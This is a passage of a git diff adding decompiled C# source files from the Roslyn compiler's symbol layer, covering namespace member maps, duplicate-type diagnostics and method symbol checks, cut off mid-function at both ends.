_mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (Symbol.IsLocationContainedWithin((Location)(object)enumerator.Current.NameLocation, tree, declarationSpan, out wasZeroWidthMatch)) + { + return true; + } + } + wasZeroWidthMatch = false; + return false; + } + + private ImmutableArray ComputeDeclaringReferencesCore() + { + return ImmutableArrayExtensions.SelectAsArray(_mergedDeclaration.Declarations, s_declaringSyntaxReferencesSelector); + } + + internal override ImmutableArray GetMembersUnordered() + { + ImmutableArray lazyAllMembers = _lazyAllMembers; + if (lazyAllMembers.IsDefault) + { + ImmutableArray value = StaticCast.From(ImmutableArrayExtensions.Flatten, NamespaceOrTypeSymbol>(GetNameToMembersMap(), (IComparer)null)); + ImmutableInterlocked.InterlockedInitialize(ref _lazyAllMembers, value); + lazyAllMembers = _lazyAllMembers; + } + return ImmutableArrayExtensions.ConditionallyDeOrder(lazyAllMembers); + } + + public override ImmutableArray GetMembers() + { + if ((_flags & 1) != 0) + { + return _lazyAllMembers; + } + ImmutableArray immutableArray = GetMembersUnordered(); + if (immutableArray.Length >= 2) + { + immutableArray = immutableArray.Sort(LexicalOrderSymbolComparer.Instance); + ImmutableInterlocked.InterlockedExchange(ref _lazyAllMembers, immutableArray); + } + ThreadSafeFlagOperations.Set(ref _flags, 1); + return immutableArray; + } + + public override ImmutableArray GetMembers(ReadOnlyMemory name) + { + if (!GetNameToMembersMap().TryGetValue(name, out var value)) + { + return ImmutableArray.Empty; + } + return ImmutableArrayExtensions.Cast(value); + } + + internal override ImmutableArray GetTypeMembersUnordered() + { + if (_lazyTypeMembersUnordered.IsDefault) + { + ImmutableArray value = ImmutableArrayExtensions.Flatten, NamedTypeSymbol>(GetNameToTypeMembersMap(), (IComparer)null); + ImmutableInterlocked.InterlockedInitialize(ref _lazyTypeMembersUnordered, value); + } + return _lazyTypeMembersUnordered; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArrayExtensions.Flatten, NamedTypeSymbol>(GetNameToTypeMembersMap(), (IComparer)LexicalOrderSymbolComparer.Instance); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + if (!GetNameToTypeMembersMap().TryGetValue(name, out var value)) + { + return ImmutableArray.Empty; + } + return value; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArrayExtensions.WhereAsArray(GetTypeMembers(name), (Func)((NamedTypeSymbol s, int num) => s.Arity == num), arity); + } + + private Dictionary, ImmutableArray> GetNameToMembersMap() + { + if (_nameToMembersMap == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if (Interlocked.CompareExchange(ref _nameToMembersMap, MakeNameToMembersMap(instance), null) == null) + { + AddDeclarationDiagnostics(instance); + RegisterDeclaredCorTypes(); + DeclaringCompilation.SymbolDeclaredEvent(this); + _state.NotePartComplete(CompletionPart.Members); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _nameToMembersMap; + } + + private Dictionary, ImmutableArray> GetNameToTypeMembersMap() + { + if (_nameToTypeMembersMap == null) + { + Interlocked.CompareExchange(ref _nameToTypeMembersMap, ImmutableArrayExtensions.GetTypesFromMemberMap, NamespaceOrTypeSymbol, NamedTypeSymbol>(GetNameToMembersMap(), (IEqualityComparer>)ReadOnlyMemoryOfCharComparer.Instance), null); + } + return _nameToTypeMembersMap; + } + + private Dictionary, ImmutableArray> MakeNameToMembersMap(BindingDiagnosticBag diagnostics) + { + PooledDictionary, object> val = NamespaceOrTypeSymbol.s_nameToObjectPool.Allocate(); + ImmutableArray.Enumerator enumerator = _mergedDeclaration.Children.GetEnumerator(); + while (enumerator.MoveNext()) + { + MergedNamespaceOrTypeDeclaration current = enumerator.Current; + NamespaceOrTypeSymbol namespaceOrTypeSymbol = BuildSymbol(current, diagnostics); + ImmutableArrayExtensions.AddToMultiValueDictionaryBuilder, NamespaceOrTypeSymbol>((Dictionary, object>)(object)val, namespaceOrTypeSymbol.Name.AsMemory(), namespaceOrTypeSymbol); + } + Dictionary, ImmutableArray> dictionary = new Dictionary, ImmutableArray>(((Dictionary, object>)(object)val).Count, (IEqualityComparer>?)ReadOnlyMemoryOfCharComparer.Instance); + ImmutableArrayExtensions.CreateNameToMembersMap, NamespaceOrTypeSymbol, NamedTypeSymbol, NamespaceSymbol>((Dictionary, object>)(object)val, dictionary); + val.Free(); + CheckMembers(this, dictionary, diagnostics); + return dictionary; + } + + private static void CheckMembers(NamespaceSymbol @namespace, Dictionary, ImmutableArray> result, BindingDiagnosticBag diagnostics) + { + //IL_0276: Unknown result type (might be due to invalid IL or missing references) + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_027d: Unknown result type (might be due to invalid IL or missing references) + //IL_0280: Invalid comparison between Unknown and I4 + //IL_0282: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Invalid comparison between Unknown and I4 + Symbol[] array = new Symbol[10]; + MergedNamespaceSymbol mergedNamespaceSymbol = null; + if (@namespace.ContainingAssembly.Modules.Length > 1) + { + mergedNamespaceSymbol = @namespace.ContainingAssembly.GetAssemblyNamespace(@namespace) as MergedNamespaceSymbol; + } + foreach (ReadOnlyMemory key in result.Keys) + { + Array.Clear(array, 0, array.Length); + ImmutableArray.Enumerator enumerator2 = result[key].GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamespaceOrTypeSymbol current2 = enumerator2.Current; + SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol = current2 as SourceMemberContainerTypeSymbol; + int num = sourceMemberContainerTypeSymbol?.Arity ?? 0; + if (num >= array.Length) + { + Array.Resize(ref array, num + 1); + } + Symbol symbol = array[num]; + if ((object)symbol == null && (object)mergedNamespaceSymbol != null) + { + ImmutableArray.Enumerator enumerator3 = mergedNamespaceSymbol.ConstituentNamespaces.GetEnumerator(); + while (enumerator3.MoveNext()) + { + NamespaceSymbol current3 = enumerator3.Current; + if ((object)current3 != @namespace) + { + ImmutableArray typeMembers = current3.GetTypeMembers(current2.Name, num); + if (typeMembers.Length > 0) + { + symbol = typeMembers[0]; + break; + } + } + } + } + SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol2; + if ((object)symbol != null) + { + (SourceMemberContainerTypeSymbol, Symbol) tuple = (sourceMemberContainerTypeSymbol, symbol); + (sourceMemberContainerTypeSymbol2, _) = tuple; + Symbol item; + if ((object)sourceMemberContainerTypeSymbol2 == null) + { + item = tuple.Item2; + if (item is SourceMemberContainerTypeSymbol { IsFileLocal: not false }) + { + goto IL_01fd; + } + goto IL_0246; + } + item = tuple.Item2; + SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol4 = item as SourceMemberContainerTypeSymbol; + NamespaceOrTypeSymbol namespaceOrTypeSymbol; + int num2; + if ((object)sourceMemberContainerTypeSymbol4 != null) + { + SourceMemberContainerTypeSymbol otherSymbol = sourceMemberContainerTypeSymbol2; + if (isFileLocalTypeInSeparateFileFrom(sourceMemberContainerTypeSymbol4, otherSymbol)) + { + goto IL_026a; + } + namespaceOrTypeSymbol = (NamespaceOrTypeSymbol)item; + num2 = 1; + } + else + { + namespaceOrTypeSymbol = item as NamespaceOrTypeSymbol; + if ((object)namespaceOrTypeSymbol == null) + { + goto IL_018b; + } + num2 = 2; + } + NamespaceOrTypeSymbol otherSymbol2 = namespaceOrTypeSymbol; + if (!isFileLocalTypeInSeparateFileFrom(sourceMemberContainerTypeSymbol2, otherSymbol2)) + { + if (num2 == 1) + { + if (sourceMemberContainerTypeSymbol2.IsFileLocal || sourceMemberContainerTypeSymbol4.IsFileLocal) + { + goto IL_01fd; + } + if (!sourceMemberContainerTypeSymbol2.IsPartial || !sourceMemberContainerTypeSymbol4.IsPartial) + { + goto IL_0246; + } + diagnostics.Add(ErrorCode.ERR_PartialTypeKindConflict, current2.GetFirstLocationOrNone(), current2); + } + else if (num2 == 2) + { + goto IL_018b; + } + } + } + goto IL_026a; + IL_018b: + if (sourceMemberContainerTypeSymbol2.IsFileLocal) + { + goto IL_01fd; + } + goto IL_0246; + IL_026a: + array[num] = current2; + if ((object)sourceMemberContainerTypeSymbol != null) + { + Accessibility declaredAccessibility = sourceMemberContainerTypeSymbol.DeclaredAccessibility; + if ((int)declaredAccessibility != 6 && (int)declaredAccessibility != 4) + { + diagnostics.Add(ErrorCode.ERR_NoNamespacePrivate, current2.GetFirstLocationOrNone()); + } + } + continue; + IL_01fd: + diagnostics.Add(ErrorCode.ERR_FileLocalDuplicateNameInNS, current2.GetFirstLocationOrNone(), current2.Name, @namespace); + goto IL_026a; + IL_0246: + diagnostics.Add(ErrorCode.ERR_DuplicateNameInNS, current2.GetFirstLocationOrNone(), current2.Name, @namespace); + goto IL_026a; + } + } + static bool isFileLocalTypeInSeparateFileFrom(SourceMemberContainerTypeSymbol possibleFileLocalType, NamespaceOrTypeSymbol namespaceOrTypeSymbol2) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + if (!possibleFileLocalType.IsFileLocal) + { + return false; + } + SyntaxTree sourceTree = ((Location)possibleFileLocalType.MergedDeclaration.Declarations[0].Location).SourceTree; + if (namespaceOrTypeSymbol2 is SourceNamedTypeSymbol sourceNamedTypeSymbol) + { + MergedTypeDeclaration mergedDeclaration = sourceNamedTypeSymbol.MergedDeclaration; + if (mergedDeclaration != null) + { + return !mergedDeclaration.NameLocations.Any((Func)((SourceLocation loc, SyntaxTree leftTree) => ((Location)loc).SourceTree == leftTree), sourceTree); + } + } + if (namespaceOrTypeSymbol2 is SourceNamespaceSymbol { MergedDeclaration: { NameLocations: var nameLocations } }) + { + return !ImmutableArrayExtensions.Any(nameLocations, (Func)((Location loc, SyntaxTree leftTree) => loc.SourceTree == leftTree), sourceTree); + } + throw ExceptionUtilities.UnexpectedValue((object)namespaceOrTypeSymbol2); + } + } + + private NamespaceOrTypeSymbol BuildSymbol(MergedNamespaceOrTypeDeclaration declaration, BindingDiagnosticBag diagnostics) + { + switch (declaration.Kind) + { + case DeclarationKind.Namespace: + return new SourceNamespaceSymbol(_module, this, (MergedNamespaceDeclaration)declaration, diagnostics); + case DeclarationKind.Class: + case DeclarationKind.Interface: + case DeclarationKind.Struct: + case DeclarationKind.Enum: + case DeclarationKind.Delegate: + case DeclarationKind.Record: + case DeclarationKind.RecordStruct: + return new SourceNamedTypeSymbol(this, (MergedTypeDeclaration)declaration, diagnostics); + case DeclarationKind.Script: + case DeclarationKind.Submission: + case DeclarationKind.ImplicitClass: + return new ImplicitNamedTypeSymbol(this, (MergedTypeDeclaration)declaration, diagnostics); + default: + throw ExceptionUtilities.UnexpectedValue((object)declaration.Kind); + } + } + + private void RegisterDeclaredCorTypes() + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol containingAssembly = ContainingAssembly; + if (!containingAssembly.KeepLookingForDeclaredSpecialTypes) + { + return; + } + foreach (ImmutableArray value in _nameToMembersMap.Values) + { + ImmutableArray.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is NamedTypeSymbol namedTypeSymbol && (int)namedTypeSymbol.SpecialType != 0) + { + containingAssembly.RegisterDeclaredSpecialType(namedTypeSymbol); + if (!containingAssembly.KeepLookingForDeclaredSpecialTypes) + { + return; + } + } + } + } + } + + public override bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + if (IsGlobalNamespace) + { + return true; + } + ImmutableArray.Enumerator enumerator = _mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + SyntaxReference syntaxReference = current.SyntaxReference; + if (syntaxReference.SyntaxTree == tree) + { + if (!definedWithinSpan.HasValue) + { + return true; + } + TextSpan fullSpan = NamespaceDeclarationSyntaxReference.GetSyntax(syntaxReference, cancellationToken).FullSpan; + if (((TextSpan)(ref fullSpan)).IntersectsWith(definedWithinSpan.Value)) + { + return true; + } + } + } + return false; + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Members: + GetNameToMembersMap(); + break; + case CompletionPart.MembersCompleted: + { + SingleNamespaceDeclaration singleNamespaceDeclaration = null; + ImmutableArray.Enumerator enumerator = _mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + if (((Location)(object)locationOpt == (Location)null || ((Location)locationOpt).SourceTree == current.SyntaxReference.SyntaxTree) && (current.HasGlobalUsings || current.HasUsings || current.HasExternAliases)) + { + singleNamespaceDeclaration = current; + GetAliasesAndUsings(current).Complete(this, current.SyntaxReference, cancellationToken); + } + } + if (IsGlobalNamespace && (locationOpt == null || singleNamespaceDeclaration != null)) + { + GetMergedGlobalAliasesAndUsings(null, cancellationToken).Complete(this, cancellationToken); + } + ImmutableArray members = GetMembers(); + bool flag = true; + if (((CompilationOptions)DeclaringCompilation.Options).ConcurrentBuild) + { + RoslynParallel.For(0, members.Length, UICultureUtilities.WithCurrentUICulture((Action)delegate(int i) + { + Symbol.ForceCompleteMemberByLocation(locationOpt, members[i], cancellationToken); + }), cancellationToken); + ImmutableArray.Enumerator enumerator2 = members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (!enumerator2.Current.HasComplete(CompletionPart.All)) + { + flag = false; + break; + } + } + } + else + { + ImmutableArray.Enumerator enumerator2 = members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + Symbol.ForceCompleteMemberByLocation(locationOpt, current2, cancellationToken); + flag = flag && current2.HasComplete(CompletionPart.All); + } + } + if (flag) + { + _state.NotePartComplete(CompletionPart.MembersCompleted); + break; + } + CompletionPart part = (((Location)(object)locationOpt == (Location)null) ? CompletionPart.NamespaceSymbolAll : CompletionPart.Members); + _state.SpinWaitComplete(part, cancellationToken); + return; + } + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.PropertySymbolAll | CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.Type | CompletionPart.TypeParameters | CompletionPart.TypeMembers | CompletionPart.SynthesizedExplicitImplementations | CompletionPart.StartMemberChecks | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + internal override bool HasComplete(CompletionPart part) + { + return _state.HasComplete(part); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodOrUserDefinedOperatorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodOrUserDefinedOperatorSymbol.cs new file mode 100644 index 0000000..06caaef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodOrUserDefinedOperatorSymbol.cs @@ -0,0 +1,205 @@ +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceOrdinaryMethodOrUserDefinedOperatorSymbol : SourceMemberMethodSymbol +{ + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private ImmutableArray _lazyRefCustomModifiers; + + private ImmutableArray _lazyParameters; + + private TypeWithAnnotations _lazyReturnType; + + protected abstract Location ReturnTypeLocation { get; } + + public sealed override bool ReturnsVoid + { + get + { + LazyMethodChecks(); + return base.ReturnsVoid; + } + } + + protected abstract TypeSymbol? ExplicitInterfaceType { get; } + + internal sealed override int ParameterCount + { + get + { + if (!_lazyParameters.IsDefault) + { + return _lazyParameters.Length; + } + return GetParameterCountFromSyntax(); + } + } + + public sealed override ImmutableArray Parameters + { + get + { + LazyMethodChecks(); + return _lazyParameters; + } + } + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + LazyMethodChecks(); + return _lazyReturnType; + } + } + + internal sealed override bool IsExplicitInterfaceImplementation => (int)MethodKind == 8; + + public sealed override ImmutableArray ExplicitInterfaceImplementations + { + get + { + LazyMethodChecks(); + return _lazyExplicitInterfaceImplementations; + } + } + + public sealed override ImmutableArray RefCustomModifiers + { + get + { + LazyMethodChecks(); + return _lazyRefCustomModifiers; + } + } + + protected SourceOrdinaryMethodOrUserDefinedOperatorSymbol(NamedTypeSymbol containingType, SyntaxReference syntaxReferenceOpt, Location location, bool isIterator, (DeclarationModifiers declarationModifiers, Flags flags) modifiersAndFlags) + : base(containingType, syntaxReferenceOpt, location, isIterator, modifiersAndFlags) + { + } + + protected MethodSymbol? MethodChecks(TypeWithAnnotations returnType, ImmutableArray parameters, BindingDiagnosticBag diagnostics) + { + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Invalid comparison between Unknown and I4 + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Invalid comparison between Unknown and I4 + _lazyReturnType = returnType; + _lazyParameters = parameters; + SetReturnsVoid(_lazyReturnType.IsVoidType()); + CheckEffectiveAccessibility(_lazyReturnType, _lazyParameters, diagnostics); + CheckFileTypeUsage(_lazyReturnType, _lazyParameters, diagnostics); + if (Name == "Finalize" && ParameterCount == 0 && Arity == 0 && ReturnsVoid) + { + diagnostics.Add(ErrorCode.WRN_FinalizeMethod, _location); + } + ExtensionMethodChecks(diagnostics); + if (base.IsPartial) + { + if ((int)MethodKind == 8) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodNotExplicit, _location); + } + if (!ContainingType.IsPartial()) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodOnlyInPartialClass, _location); + } + } + if (!base.IsPartial) + { + LazyAsyncMethodChecks(CancellationToken.None); + } + _lazyRefCustomModifiers = ImmutableArray.Empty; + MethodSymbol methodSymbol = null; + if ((int)MethodKind != 8) + { + _lazyExplicitInterfaceImplementations = ImmutableArray.Empty; + if (IsOverride) + { + methodSymbol = base.OverriddenMethod; + if ((object)methodSymbol != null) + { + CustomModifierUtils.CopyMethodCustomModifiers(methodSymbol, this, out _lazyReturnType, out _lazyRefCustomModifiers, out _lazyParameters, alsoCopyParamsModifier: true); + } + } + else if ((int)RefKind == 3) + { + NamedTypeSymbol wellKnownType = Binder.GetWellKnownType(DeclaringCompilation, (WellKnownType)273, diagnostics, ReturnTypeLocation); + _lazyRefCustomModifiers = ImmutableArray.Create(CSharpCustomModifier.CreateRequired(wellKnownType)); + } + } + else if ((object)ExplicitInterfaceType != null) + { + methodSymbol = FindExplicitlyImplementedMethod(diagnostics); + if ((object)methodSymbol != null) + { + _lazyExplicitInterfaceImplementations = ImmutableArray.Create(methodSymbol); + CustomModifierUtils.CopyMethodCustomModifiers(methodSymbol, this, out _lazyReturnType, out _lazyRefCustomModifiers, out _lazyParameters, alsoCopyParamsModifier: false); + this.FindExplicitlyImplementedMemberVerification(methodSymbol, diagnostics); + TypeSymbol.CheckModifierMismatchOnImplementingMember(ContainingType, this, methodSymbol, isExplicit: true, diagnostics); + } + else + { + _lazyExplicitInterfaceImplementations = ImmutableArray.Empty; + } + } + return methodSymbol; + } + + protected abstract void ExtensionMethodChecks(BindingDiagnosticBag diagnostics); + + protected abstract MethodSymbol? FindExplicitlyImplementedMethod(BindingDiagnosticBag diagnostics); + + protected abstract int GetParameterCountFromSyntax(); + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Invalid comparison between Unknown and I4 + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + Location returnTypeLocation = null; + CSharpCompilation declaringCompilation = DeclaringCompilation; + CheckConstraintsForExplicitInterfaceType(conversions, diagnostics); + base.ReturnType.CheckAllConstraints(declaringCompilation, conversions, GetFirstLocation(), diagnostics); + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + current.Type.CheckAllConstraints(declaringCompilation, conversions, current.GetFirstLocation(), diagnostics); + } + PartialMethodChecks(diagnostics); + if ((int)RefKind == 3) + { + declaringCompilation.EnsureIsReadOnlyAttributeExists(diagnostics, getReturnTypeLocation(), modifyCompilation: true); + } + ParameterHelpers.EnsureRefKindAttributesExist(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(base.ReturnType)) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, getReturnTypeLocation(), modifyCompilation: true); + } + ParameterHelpers.EnsureNativeIntegerAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + ParameterHelpers.EnsureScopedRefAttributeExists(declaringCompilation, Parameters, diagnostics, modifyCompilation: true); + if (declaringCompilation.ShouldEmitNullableAttributes(this) && ReturnTypeWithAnnotations.NeedsNullableAttribute()) + { + declaringCompilation.EnsureNullableAttributeExists(diagnostics, getReturnTypeLocation(), modifyCompilation: true); + } + ParameterHelpers.EnsureNullableAttributeExists(declaringCompilation, this, Parameters, diagnostics, modifyCompilation: true); + Location getReturnTypeLocation() + { + if (returnTypeLocation == null) + { + returnTypeLocation = ReturnTypeLocation; + } + return returnTypeLocation; + } + } + + protected abstract void CheckConstraintsForExplicitInterfaceType(ConversionsBase conversions, BindingDiagnosticBag diagnostics); + + protected abstract void PartialMethodChecks(BindingDiagnosticBag diagnostics); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodSymbol.cs new file mode 100644 index 0000000..86885e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodSymbol.cs @@ -0,0 +1,960 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceOrdinaryMethodSymbol : SourceOrdinaryMethodSymbolBase +{ + private sealed class SourceOrdinaryMethodSymbolSimple : SourceOrdinaryMethodSymbol + { + internal sealed override SourceOrdinaryMethodSymbol OtherPartOfPartial => null; + + protected sealed override TypeSymbol ExplicitInterfaceType => null; + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public SourceOrdinaryMethodSymbolSimple(NamedTypeSymbol containingType, string name, Location location, MethodDeclarationSyntax syntax, MethodKind methodKind, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, name, location, syntax, methodKind, isNullableAnalysisEnabled, diagnostics) + { + }//IL_0006: Unknown result type (might be due to invalid IL or missing references) + + + protected sealed override MethodSymbol FindExplicitlyImplementedMethod(BindingDiagnosticBag diagnostics) + { + return null; + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + protected sealed override void CheckConstraintsForExplicitInterfaceType(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + } + } + + private sealed class SourceOrdinaryMethodSymbolComplex : SourceOrdinaryMethodSymbol + { + private readonly TypeSymbol _explicitInterfaceType; + + private readonly TypeParameterInfo _typeParameterInfo; + + private SourceOrdinaryMethodSymbol _otherPartOfPartial; + + protected sealed override TypeSymbol ExplicitInterfaceType => _explicitInterfaceType; + + internal sealed override SourceOrdinaryMethodSymbol OtherPartOfPartial => _otherPartOfPartial; + + public sealed override ImmutableArray TypeParameters => _typeParameterInfo.LazyTypeParameters; + + public SourceOrdinaryMethodSymbolComplex(NamedTypeSymbol containingType, TypeSymbol explicitInterfaceType, string name, Location location, MethodDeclarationSyntax syntax, MethodKind methodKind, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, name, location, syntax, methodKind, isNullableAnalysisEnabled, diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + _explicitInterfaceType = explicitInterfaceType; + ImmutableArray lazyTypeParameters = MakeTypeParameters(syntax, diagnostics); + _typeParameterInfo = (lazyTypeParameters.IsEmpty ? TypeParameterInfo.Empty : new TypeParameterInfo + { + LazyTypeParameters = lazyTypeParameters + }); + } + + internal static void InitializePartialMethodParts(SourceOrdinaryMethodSymbolComplex definition, SourceOrdinaryMethodSymbolComplex implementation) + { + definition._otherPartOfPartial = implementation; + implementation._otherPartOfPartial = definition; + } + + protected sealed override MethodSymbol FindExplicitlyImplementedMethod(BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + MethodDeclarationSyntax syntax = GetSyntax(); + TypeSymbol explicitInterfaceType = _explicitInterfaceType; + SyntaxToken identifier = syntax.Identifier; + return this.FindExplicitlyImplementedMethod(isOperator: false, explicitInterfaceType, ((SyntaxToken)(ref identifier)).ValueText, syntax.ExplicitInterfaceSpecifier, diagnostics); + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (_typeParameterInfo.LazyTypeParameterConstraintTypes.IsDefault) + { + GetTypeParameterConstraintKinds(); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + MethodDeclarationSyntax syntax = GetSyntax(); + Binder binder = DeclaringCompilation.GetBinderFactory(syntax.SyntaxTree).GetBinder((SyntaxNode)(object)syntax.ReturnType, syntax, this); + ImmutableArray> value = this.MakeTypeParameterConstraintTypes(binder, TypeParameters, syntax.TypeParameterList, syntax.ConstraintClauses, instance); + if (ImmutableInterlocked.InterlockedInitialize(ref _typeParameterInfo.LazyTypeParameterConstraintTypes, value)) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _typeParameterInfo.LazyTypeParameterConstraintTypes; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (_typeParameterInfo.LazyTypeParameterConstraintKinds.IsDefault) + { + MethodDeclarationSyntax syntax = GetSyntax(); + Binder binder = DeclaringCompilation.GetBinderFactory(syntax.SyntaxTree).GetBinder((SyntaxNode)(object)syntax.ReturnType, syntax, this); + ImmutableArray value = this.MakeTypeParameterConstraintKinds(binder, TypeParameters, syntax.TypeParameterList, syntax.ConstraintClauses); + ImmutableInterlocked.InterlockedInitialize(ref _typeParameterInfo.LazyTypeParameterConstraintKinds, value); + } + return _typeParameterInfo.LazyTypeParameterConstraintKinds; + } + + protected sealed override void CheckConstraintsForExplicitInterfaceType(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Expected O, but got Unknown + if ((object)_explicitInterfaceType != null) + { + MethodDeclarationSyntax syntax = GetSyntax(); + _explicitInterfaceType.CheckAllConstraints(DeclaringCompilation, conversions, (Location)new SourceLocation((SyntaxNode)(object)syntax.ExplicitInterfaceSpecifier.Name), diagnostics); + } + } + + private ImmutableArray MakeTypeParameters(MethodDeclarationSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + if (syntax.Arity == 0) + { + return ImmutableArray.Empty; + } + MessageID.IDS_FeatureGenerics.CheckFeatureAvailability(diagnostics, syntax.TypeParameterList.LessThanToken); + OverriddenMethodTypeParameterMapBase overriddenMethodTypeParameterMapBase = null; + if (IsOverride) + { + overriddenMethodTypeParameterMapBase = new OverriddenMethodTypeParameterMap(this); + } + else if (IsExplicitInterfaceImplementation) + { + overriddenMethodTypeParameterMapBase = new ExplicitInterfaceMethodTypeParameterMap(this); + } + SeparatedSyntaxList parameters = syntax.TypeParameterList.Parameters; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < parameters.Count; i++) + { + TypeParameterSyntax typeParameterSyntax = parameters[i]; + if (typeParameterSyntax.VarianceKeyword.Kind() != SyntaxKind.None) + { + SyntaxToken varianceKeyword = typeParameterSyntax.VarianceKeyword; + diagnostics.Add(ErrorCode.ERR_IllegalVarianceSyntax, ((SyntaxToken)(ref varianceKeyword)).GetLocation()); + } + SyntaxToken identifier = typeParameterSyntax.Identifier; + Location location = ((SyntaxToken)(ref identifier)).GetLocation(); + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + for (int 